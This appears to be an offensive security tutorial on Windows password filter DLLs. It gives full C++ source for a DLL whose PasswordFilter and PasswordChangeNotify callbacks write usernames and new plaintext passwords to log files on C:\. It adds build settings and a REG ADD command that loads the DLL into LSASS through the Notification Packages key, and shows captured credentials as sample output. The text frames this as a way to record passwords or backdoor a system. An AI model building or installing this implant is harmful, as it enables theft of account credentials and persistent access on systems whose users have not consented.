Password Filters

Password filters are DLL’s that can be used to enforce additional password complexity requirements, beyond the complexity requirements that can be implemented natively in Windows. For instance, a password filter could be used to ensure common passwords, such as “Password1!” cannot be set.

From an offensive perspective, password filter DLL’s can be used to record passwords being used, or provide a backdoor to a system.

To implement this, we just need to create a DLL which implements a couple of functions;

PasswordFilter – this function is called when a user requests changing their password to a new value. Typically this would accept or request a password change based on the logic implemented in the DLL.

PasswordChangeNotify – this function is called when a password is successfully changed.

Either of these functions will serve our purpose of logging passwords, although both will need to be implemented for the DLL to work.

Recording Password Changes

The following C++ DLL code implements the callback functions required for a password filter;

// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#include <Windows.h>
#include <stdio.h>
#include <SubAuth.h> // for PUNICODE_STRING
#include <stdlib.h>

BOOL APIENTRY DllMain(HMODULE hModule,
	DWORD  ul_reason_for_call,
	LPVOID lpReserved
)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

BOOLEAN __stdcall InitializeChangeNotify(void)
{
	return TRUE;
}

NTSTATUS __stdcall PasswordChangeNotify(PUNICODE_STRING UserName, ULONG RelativeId, PUNICODE_STRING NewPassword)
{
	FILE* pFile;
	int err = fopen_s(&pFile, "c:\\PasswordChangeNotify_Log.txt", "a+");
	if (err != 0)
	{
		return 0;
	}
	fprintf(pFile, "%wZ:%wZ:%lu\r\n", UserName, NewPassword, RelativeId);
	fclose(pFile);
	return 0;
}

BOOLEAN __stdcall PasswordFilter(PUNICODE_STRING AccountName, PUNICODE_STRING FullName, PUNICODE_STRING Password, BOOLEAN SetOperation)
{
	FILE* pFile;
	int err = fopen_s(&pFile, "c:\\PasswordFilter_Log.txt", "a+");
	if (err != 0)
	{
		return 1;
	}
	fprintf(pFile, "%wZ:%wZ:%wZ\r\n", AccountName, Password, FullName);
	fclose(pFile);

	return 1;
}

Create an exports.def file in the Source Files directory;

EXPORTS
InitializeChangeNotify
PasswordChangeNotify
PasswordFilter

Compiling the DLL

In the project properties, set exports.def as the module definition file;

Then make sure the Runtime Library is set to Multi-Threaded (/MT).

Finally, ensure Incremental Linking is disabled;

Make sure the DLL architecture matches the target host. In this case x64. You will also need to compile as a release, rather than debug binary.

Installing the Filter DLL

  • Copy the DLL to C:\Windows\System32\
  • Add a registry key to ensure it’s mapped into the LSASS address space. “PasswordFilter” is the name of the DLL, without it’s extension.
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Notification Packages" /t REG_MULTI_SZ /d "PasswordFilter" /f
  • Reboot the system.

Once a password change is made on the system, this will be recorded to c:\PasswordFilter_Log.txt and c:\PasswordChangeNotify_Log.txt;

C:\>type PasswordChangeNotify_Log.txt
user:Password2:1001

C:\>type PasswordFilter_Log.txt
user:Password2:

In Conclusion

Password filters are useful for intercepting password change requests, although they do require a reboot of the target systems. It may be possible to inject a filter DLL into the address space of LSASS, although this is a PPL protected process.